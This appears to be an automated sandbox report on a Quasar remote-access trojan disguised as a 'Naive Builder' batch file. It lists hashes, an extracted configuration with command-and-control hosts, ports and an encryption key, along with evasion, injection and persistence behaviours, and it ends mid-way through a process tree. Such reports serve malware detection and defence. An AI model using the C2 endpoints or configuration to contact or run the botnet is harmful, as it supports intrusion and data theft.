quasar | cf00bf0d9259ac2976f1eae1a5f2af6306ccaf38d5b4643c0a852b6887073f74

Analysis

max time kernel
300s
max time network
301s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20241023-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
04-12-2024 09:28

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Report Analysis Logs

General

Target

naive-stealer-main/Naive Builder.bat
Size

12.8MB
MD5

a2e3e4286e8b22b3b021a6706b899dd7
SHA1

e6179204735421c3927f27c13f9751af1dce9bd2
SHA256

efd80dd8487437f58413be6e7d2da6ea866ae7626b3225dbf326e8c82c85e580
SHA512

3ff5d19accd1fa6765ffc3554bb9cfe3989eee4cf226c2ce7abbaff47a1586253ab1b408f4f9e47611ea7d2415f3298b12dfada1d1987d43c2efa16aac11e3e8
SSDEEP

49152:JZHKpAhg6/Ri76PuM0gcqQP+GBRa1SgA+754EU1kOeTUliFDvnrNqjdsusoj8nNc:e

Score

10^/10

quasar v15.6.3 | xen defense_evasion discovery spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.0.0.0

Botnet

v15.6.3 | xen

studies-royal.at.ply.gg:31849

usa-departments.at.ply.gg:37274

category-in.at.ply.gg:42204

Mutex

bd62476d-8a2b-4e05-a8e5-68cc94baac4f

Attributes

encryption_key
AA41DD5506DCFCA6EE3BF934CC3C9319F80E5E10
install_name
.exe
log_directory
$sxr-Logs
reconnect_delay
5000
startup_key
$sxr-seroxen

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/3288-56-0x000002D7255B0000-0x000002D725D6C000-memory.dmp	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

Processes:

Naive Builder.bat.exe$sxr-powershell.exe

description	pid	Process	procid_target
PID 1056 created 632	1056	Naive Builder.bat.exe	5
PID 3288 created 632	3288	$sxr-powershell.exe	5
PID 3288 created 632	3288	$sxr-powershell.exe	5
PID 1056 created 632	1056	Naive Builder.bat.exe	5
PID 1056 created 632	1056	Naive Builder.bat.exe	5

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

Naive Builder.bat.exe

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-870806430-2618236806-3023919190-1000\Control Panel\International\Geo\Nation	Naive Builder.bat.exe

Deletes itself 1 IoCs

Processes:

Naive Builder.bat.exe

pid	Process
1056	Naive Builder.bat.exe

Executes dropped EXE 3 IoCs

Processes:

Naive Builder.bat.exe$sxr-powershell.exe$sxr-powershell.exe

pid	Process
1056	Naive Builder.bat.exe
3288	$sxr-powershell.exe
2408	$sxr-powershell.exe

Hide Artifacts: Hidden Window 1 TTPs 2 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

defense_evasion

Hidden Window

T1564.003

Processes:

$sxr-powershell.exe$sxr-powershell.exe

pid	Process
3288	$sxr-powershell.exe
2408	$sxr-powershell.exe

Drops file in System32 directory 21 IoCs

Processes:

svchost.exeNaive Builder.bat.exesvchost.exe$sxr-powershell.exeOfficeClickToRun.exe

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File created	C:\Windows\System32\vcruntime140d.dll	Naive Builder.bat.exe
File opened for modification	C:\Windows\System32\ucrtbased.dll	Naive Builder.bat.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File created	C:\Windows\System32\vcruntime140_1d.dll	Naive Builder.bat.exe
File opened for modification	C:\Windows\System32\vcruntime140_1d.dll	Naive Builder.bat.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File opened for modification	C:\Windows\System32\vcruntime140d.dll	Naive Builder.bat.exe
File opened for modification	C:\Windows\System32\ucrtbased.dll	$sxr-powershell.exe
File opened for modification	C:\Windows\System32\vcruntime140d.dll	$sxr-powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File created	C:\Windows\System32\ucrtbased.dll	Naive Builder.bat.exe
File opened for modification	C:\Windows\System32\vcruntime140_1d.dll	$sxr-powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe

Suspicious use of SetThreadContext 5 IoCs

Processes:

Naive Builder.bat.exe$sxr-powershell.exe

description	pid	Process	procid_target
PID 1056 set thread context of 2548	1056	Naive Builder.bat.exe	93
PID 3288 set thread context of 2276	3288	$sxr-powershell.exe	95
PID 3288 set thread context of 1720	3288	$sxr-powershell.exe	97
PID 1056 set thread context of 5876	1056	Naive Builder.bat.exe	99
PID 1056 set thread context of 1216	1056	Naive Builder.bat.exe	100

Drops file in Windows directory 6 IoCs

Processes:

Naive Builder.bat.execmd.exe

description	ioc	Process
File opened for modification	C:\Windows\$sxr-mshta.exe	Naive Builder.bat.exe
File created	C:\Windows\$sxr-seroxen2\$sxr-Uni.bat	cmd.exe
File opened for modification	C:\Windows\$sxr-seroxen2\$sxr-Uni.bat	cmd.exe
File created	C:\Windows\$sxr-powershell.exe	Naive Builder.bat.exe
File opened for modification	C:\Windows\$sxr-powershell.exe	Naive Builder.bat.exe
File created	C:\Windows\$sxr-mshta.exe	Naive Builder.bat.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

Processes:

cmd.exePING.EXE

pid	Process
928	cmd.exe
3280	PING.EXE

Checks processor information in registry 2 TTPs 11 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

mousocoreworker.exemousocoreworker.exe

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	mousocoreworker.exe
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	mousocoreworker.exe

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

wmiprvse.exemousocoreworker.exemousocoreworker.exe

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	mousocoreworker.exe

Kills process with taskkill 1 IoCs

evasion

Processes:

taskkill.exe

pid	Process
3024	taskkill.exe

Modifies data under HKEY_USERS 29 IoCs

Processes:

mousocoreworker.exeOfficeClickToRun.exesvchost.exesvchost.exe

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceId = "001840102DFB2A9A"	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion	mousocoreworker.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Wed, 04 Dec 2024 09:30:50 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property\001840102DFB2A9A = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb010000008908107a9e8bcf4fa1bbf80efb7a6b150000000002000000000010660000000100002000000069eee687bfece3623202d79e944468b9c4f45cc3add3d8d7ab607d4fecebaed6000000000e800000000200002000000002bf5b7c4ce97d3693b7ce7ebad21b7ca636966270ff95b9ccce84d5807757ac8000000063eb5a4016c61c02a231c874a89e0abd3f6113945e1263693f507a8a19dc28e67c5abcba73ae07d7166598207282788136c21da84a774ea51f78fe8019dee91c68f79d05f779d5bb617b213328809548d73e600a5a73ae14326599a596cd61286b066f47c926a311ae2bb6cabf7c80abd607ba4a2476115078fbb4cda50d510540000000916a69e45dcbb59c19a31ce91793c7a0d7692d21b153851a1ec142160c91871ac6dbca76cac3455f4c1ca80e836c5411e82ca7d4690abb5ca68d602d011fedac	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1733304649"	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}	mousocoreworker.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceTicket = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb010000008908107a9e8bcf4fa1bbf80efb7a6b1500000000020000000000106600000001000020000000a3d31f015037b5dc7b913a1f19f2bea3dde88eb563ef66a05e20ccf104cec8ad000000000e80000000020000200000009a7b5e8a342263bdf7a5e1a58be2844f85293b9658d343cbed31bf180c5802f9b0030000f5be9f000368aa56b6beb33acd7b5d114f8d050ef5cc7384bb7172c95cca4387b8a3930875b80b8fdca04d296b7e7cc0464fd4f750838ca74cf5f00bc055fb34d39830d4e917a2944f8e5869ce5fb08ce036cc899bce2412f4b493f0f6f08a4be1aa834d28bb9a9c72b99e9015ab1f63a135f69f426d3eb5a123173ee068139f13c69a6091cf2fa3e8a697ac642fd13b1d372fbddcd037b95a9751b7b254e8afd9af6387d620e79fa2f442fbf4d861ef85463a1c5a3a08e69617428b2a1d997f2121477bac4f1700d5ddc75c74d15d6a0135e0766a37e186a596ab094d55a1cd201889866f81178257176d5e9da10629a315831062c2ca89a2c47aa39d6f52ee20475c1890c5b849e3f74164ac7ca343d7e7101d1b74ed0b166f7b50c6ecf37c84109972dfdcfa2543597beb5680a5d2b72483a9ef00dd468f6432d97cf97fb63f801966281ef5d041e0e8eb4e9c6242bb8cc2175e3b3ddbd281f564daeb33b7364ab54d325531679a44764184e7d63609d05c987f09a5e17900759d68ff0d478f0b32104a91d32a3feb38d152798769527714d6a12aded99a0ffff0bf0d8acf49b437b94865c107096935cdef8e6385e29bc98208d8a121f7ad85fe548d29d0f3b55adf8d057c64d95f15fe4e633b2d09396207746e032755a2008bdc445b569733cac8dad408c59b3c567d43a9c50ff6a0ae1718b324dd2ba88403eb784f0d17ff1363d2fe8bce059da193383aa9bc83883dd96a37e51856632ea2fc48abf3430a08739cb4fffd01e0c232c8e05895d7fb208b6bec1757808158fbc30edd615383a0d4be816ebc4defc32a3d942137bc56c3a9d51cd27745017fdd9681bf463e984748b7145745557ee8346b452e0cc66322bf07f847b35583fbe8e9ee446f137506469fb55316a5704f45283217c4b977ff70079e03d811cf6315ca81d09cc5922bece2b710f5e01a11ebe0ec9efaf3c4be92d995d5d6e65b163581100723d65355fceecc2ae4b64248ddeec72beb82498e5e2535cd64ab243928d539f73589844eeb9319e84e5ab606638d9ba22952f91e8ef8c70531f2f6f1874613e37ec953e28472a68f602567360fcee2eebb9cf0d9858507887810ed2a8c9dadaf2ff3a58580e8c0c68f5eef69854056e67e65516314f640a43b8f1a44c7bdb5194ccf7a3642c5102d08ad93f49beee0a1ff7578ff5169b1ed55201f70f4d9842bb33257a5bac49c0d929a24070976a0d9571d088ea288ec786d158a8f9eaef5f86a1b544f1eecefcc17e1fce7aa3e298c399543026a855f741fe4db57517ae2ef56e52bea6e296615384c26379713b4d4e44000000058b665d6def8cdb75986aa088d8a351999f7b3f4380b3e675cfa3493812c37843e19c049dd8a3578102d49b7976937ad94c2c1f275ace8d0abfc317e4c79e400	mousocoreworker.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\ApplicationFlags = "1"	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek\CacheStore	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager	mousocoreworker.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={FF03C59F-8B1A-4917-92D7-93C74CBDDEEA}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "001840102DFB2A9A"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

Processes:

PING.EXE

pid	Process
3280	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

Naive Builder.bat.exedllhost.exe$sxr-powershell.exedllhost.exe$sxr-powershell.exedllhost.exe

pid	Process
1056	Naive Builder.bat.exe
1056	Naive Builder.bat.exe
1056	Naive Builder.bat.exe
2548	dllhost.exe
2548	dllhost.exe
2548	dllhost.exe
2548	dllhost.exe
1056	Naive Builder.bat.exe
1056	Naive Builder.bat.exe
3288	$sxr-powershell.exe
3288	$sxr-powershell.exe
3288	$sxr-powershell.exe
3288	$sxr-powershell.exe
2276	dllhost.exe
2276	dllhost.exe
2276	dllhost.exe
2276	dllhost.exe
3288	$sxr-powershell.exe
3288	$sxr-powershell.exe
2408	$sxr-powershell.exe
2408	$sxr-powershell.exe
3288	$sxr-powershell.exe
1720	dllhost.exe
1720	dllhost.exe
2408	$sxr-powershell.exe
2408	$sxr-powershell.exe
1720	dllhost.exe
1720	dllhost.exe
1720	dllhost.exe
1720	dllhost.exe
1720	dllhost.exe
1720	dllhost.exe
1720	dllhost.exe
1720	dllhost.exe
1720	dllhost.exe
1720	dllhost.exe
1720	dllhost.exe
1720	dllhost.exe
1720	dllhost.exe
1720	dllhost.exe
1720	dllhost.exe
1720	dllhost.exe
1720	dllhost.exe
1720	dllhost.exe
1720	dllhost.exe
1720	dllhost.exe
1720	dllhost.exe
1720	dllhost.exe
1720	dllhost.exe
1720	dllhost.exe
1720	dllhost.exe
1720	dllhost.exe
1720	dllhost.exe
1720	dllhost.exe
1720	dllhost.exe
1720	dllhost.exe
1720	dllhost.exe
1720	dllhost.exe
1720	dllhost.exe
1720	dllhost.exe
1720	dllhost.exe
1720	dllhost.exe
1720	dllhost.exe
1720	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Naive Builder.bat.exedllhost.exe$sxr-powershell.exedllhost.exe$sxr-powershell.exedllhost.exesvchost.exesvchost.exe

description	pid	Process
Token: SeDebugPrivilege	1056	Naive Builder.bat.exe
Token: SeDebugPrivilege	1056	Naive Builder.bat.exe
Token: SeDebugPrivilege	2548	dllhost.exe
Token: SeDebugPrivilege	3288	$sxr-powershell.exe
Token: SeDebugPrivilege	3288	$sxr-powershell.exe
Token: SeDebugPrivilege	2276	dllhost.exe
Token: SeDebugPrivilege	2408	$sxr-powershell.exe
Token: SeDebugPrivilege	3288	$sxr-powershell.exe
Token: SeDebugPrivilege	1720	dllhost.exe
Token: SeAssignPrimaryTokenPrivilege	2332	svchost.exe
Token: SeIncreaseQuotaPrivilege	2332	svchost.exe
Token: SeSecurityPrivilege	2332	svchost.exe
Token: SeTakeOwnershipPrivilege	2332	svchost.exe
Token: SeLoadDriverPrivilege	2332	svchost.exe
Token: SeSystemtimePrivilege	2332	svchost.exe
Token: SeBackupPrivilege	2332	svchost.exe
Token: SeRestorePrivilege	2332	svchost.exe
Token: SeShutdownPrivilege	2332	svchost.exe
Token: SeSystemEnvironmentPrivilege	2332	svchost.exe
Token: SeUndockPrivilege	2332	svchost.exe
Token: SeManageVolumePrivilege	2332	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2332	svchost.exe
Token: SeIncreaseQuotaPrivilege	2332	svchost.exe
Token: SeSecurityPrivilege	2332	svchost.exe
Token: SeTakeOwnershipPrivilege	2332	svchost.exe
Token: SeLoadDriverPrivilege	2332	svchost.exe
Token: SeSystemtimePrivilege	2332	svchost.exe
Token: SeBackupPrivilege	2332	svchost.exe
Token: SeRestorePrivilege	2332	svchost.exe
Token: SeShutdownPrivilege	2332	svchost.exe
Token: SeSystemEnvironmentPrivilege	2332	svchost.exe
Token: SeUndockPrivilege	2332	svchost.exe
Token: SeManageVolumePrivilege	2332	svchost.exe
Token: SeAuditPrivilege	2740	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2332	svchost.exe
Token: SeIncreaseQuotaPrivilege	2332	svchost.exe
Token: SeSecurityPrivilege	2332	svchost.exe
Token: SeTakeOwnershipPrivilege	2332	svchost.exe
Token: SeLoadDriverPrivilege	2332	svchost.exe
Token: SeSystemtimePrivilege	2332	svchost.exe
Token: SeBackupPrivilege	2332	svchost.exe
Token: SeRestorePrivilege	2332	svchost.exe
Token: SeShutdownPrivilege	2332	svchost.exe
Token: SeSystemEnvironmentPrivilege	2332	svchost.exe
Token: SeUndockPrivilege	2332	svchost.exe
Token: SeManageVolumePrivilege	2332	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2332	svchost.exe
Token: SeIncreaseQuotaPrivilege	2332	svchost.exe
Token: SeSecurityPrivilege	2332	svchost.exe
Token: SeTakeOwnershipPrivilege	2332	svchost.exe
Token: SeLoadDriverPrivilege	2332	svchost.exe
Token: SeSystemtimePrivilege	2332	svchost.exe
Token: SeBackupPrivilege	2332	svchost.exe
Token: SeRestorePrivilege	2332	svchost.exe
Token: SeShutdownPrivilege	2332	svchost.exe
Token: SeSystemEnvironmentPrivilege	2332	svchost.exe
Token: SeUndockPrivilege	2332	svchost.exe
Token: SeManageVolumePrivilege	2332	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2332	svchost.exe
Token: SeIncreaseQuotaPrivilege	2332	svchost.exe
Token: SeSecurityPrivilege	2332	svchost.exe
Token: SeTakeOwnershipPrivilege	2332	svchost.exe
Token: SeLoadDriverPrivilege	2332	svchost.exe
Token: SeSystemtimePrivilege	2332	svchost.exe

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

$sxr-powershell.exeConhost.exe

pid	Process
3288	$sxr-powershell.exe
2872	Conhost.exe

Suspicious use of UnmapMainImage 1 IoCs

Processes:

Explorer.EXE

pid	Process
3636	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.exenet.exeNaive Builder.bat.exe$sxr-powershell.exedllhost.exe

description	pid	Process	procid_target
PID 4584 wrote to memory of 3808	4584	cmd.exe	82
PID 4584 wrote to memory of 3808	4584	cmd.exe	82
PID 3808 wrote to memory of 1252	3808	net.exe	83
PID 3808 wrote to memory of 1252	3808	net.exe	83
PID 4584 wrote to memory of 1056	4584	cmd.exe	84
PID 4584 wrote to memory of 1056	4584	cmd.exe	84
PID 1056 wrote to memory of 2548	1056	Naive Builder.bat.exe	93
PID 1056 wrote to memory of 2548	1056	Naive Builder.bat.exe	93
PID 1056 wrote to memory of 2548	1056	Naive Builder.bat.exe	93
PID 1056 wrote to memory of 2548	1056	Naive Builder.bat.exe	93
PID 1056 wrote to memory of 2548	1056	Naive Builder.bat.exe	93
PID 1056 wrote to memory of 2548	1056	Naive Builder.bat.exe	93
PID 1056 wrote to memory of 2548	1056	Naive Builder.bat.exe	93
PID 1056 wrote to memory of 3288	1056	Naive Builder.bat.exe	94
PID 1056 wrote to memory of 3288	1056	Naive Builder.bat.exe	94
PID 3288 wrote to memory of 2276	3288	$sxr-powershell.exe	95
PID 3288 wrote to memory of 2276	3288	$sxr-powershell.exe	95
PID 3288 wrote to memory of 2276	3288	$sxr-powershell.exe	95
PID 3288 wrote to memory of 2276	3288	$sxr-powershell.exe	95
PID 3288 wrote to memory of 2276	3288	$sxr-powershell.exe	95
PID 3288 wrote to memory of 2276	3288	$sxr-powershell.exe	95
PID 3288 wrote to memory of 2276	3288	$sxr-powershell.exe	95
PID 3288 wrote to memory of 2408	3288	$sxr-powershell.exe	96
PID 3288 wrote to memory of 2408	3288	$sxr-powershell.exe	96
PID 3288 wrote to memory of 1720	3288	$sxr-powershell.exe	97
PID 3288 wrote to memory of 1720	3288	$sxr-powershell.exe	97
PID 3288 wrote to memory of 1720	3288	$sxr-powershell.exe	97
PID 3288 wrote to memory of 1720	3288	$sxr-powershell.exe	97
PID 3288 wrote to memory of 1720	3288	$sxr-powershell.exe	97
PID 3288 wrote to memory of 1720	3288	$sxr-powershell.exe	97
PID 3288 wrote to memory of 1720	3288	$sxr-powershell.exe	97
PID 3288 wrote to memory of 1720	3288	$sxr-powershell.exe	97
PID 3288 wrote to memory of 1720	3288	$sxr-powershell.exe	97
PID 1720 wrote to memory of 632	1720	dllhost.exe	5
PID 1720 wrote to memory of 688	1720	dllhost.exe	7
PID 1720 wrote to memory of 968	1720	dllhost.exe	12
PID 1720 wrote to memory of 420	1720	dllhost.exe	13
PID 1720 wrote to memory of 436	1720	dllhost.exe	14
PID 1720 wrote to memory of 740	1720	dllhost.exe	15
PID 1720 wrote to memory of 752	1720	dllhost.exe	16
PID 1720 wrote to memory of 1076	1720	dllhost.exe	17
PID 1720 wrote to memory of 1104	1720	dllhost.exe	18
PID 1720 wrote to memory of 1132	1720	dllhost.exe	19
PID 1720 wrote to memory of 1200	1720	dllhost.exe	20
PID 1720 wrote to memory of 1272	1720	dllhost.exe	22
PID 1720 wrote to memory of 1320	1720	dllhost.exe	23
PID 1720 wrote to memory of 1344	1720	dllhost.exe	24
PID 1720 wrote to memory of 1360	1720	dllhost.exe	25
PID 1720 wrote to memory of 1524	1720	dllhost.exe	26
PID 1720 wrote to memory of 1568	1720	dllhost.exe	27
PID 1720 wrote to memory of 1596	1720	dllhost.exe	28
PID 1720 wrote to memory of 1688	1720	dllhost.exe	29
PID 1720 wrote to memory of 1732	1720	dllhost.exe	30
PID 1720 wrote to memory of 1796	1720	dllhost.exe	31
PID 1720 wrote to memory of 1840	1720	dllhost.exe	32
PID 1720 wrote to memory of 1976	1720	dllhost.exe	33
PID 1720 wrote to memory of 1984	1720	dllhost.exe	34
PID 1720 wrote to memory of 1992	1720	dllhost.exe	35
PID 1720 wrote to memory of 1036	1720	dllhost.exe	36
PID 1720 wrote to memory of 1208	1720	dllhost.exe	37
PID 1720 wrote to memory of 2116	1720	dllhost.exe	38
PID 1720 wrote to memory of 2216	1720	dllhost.exe	40
PID 1720 wrote to memory of 2332	1720	dllhost.exe	41
PID 1720 wrote to memory of 2452	1720	dllhost.exe	42

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

Processes:

attrib.exe

pid	Process
5240	attrib.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:632
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:1076
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{7d50530d-3820-4ee1-84d3-f6176f3b0029}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2548
- C:\Windows\System32\dllhost.exe
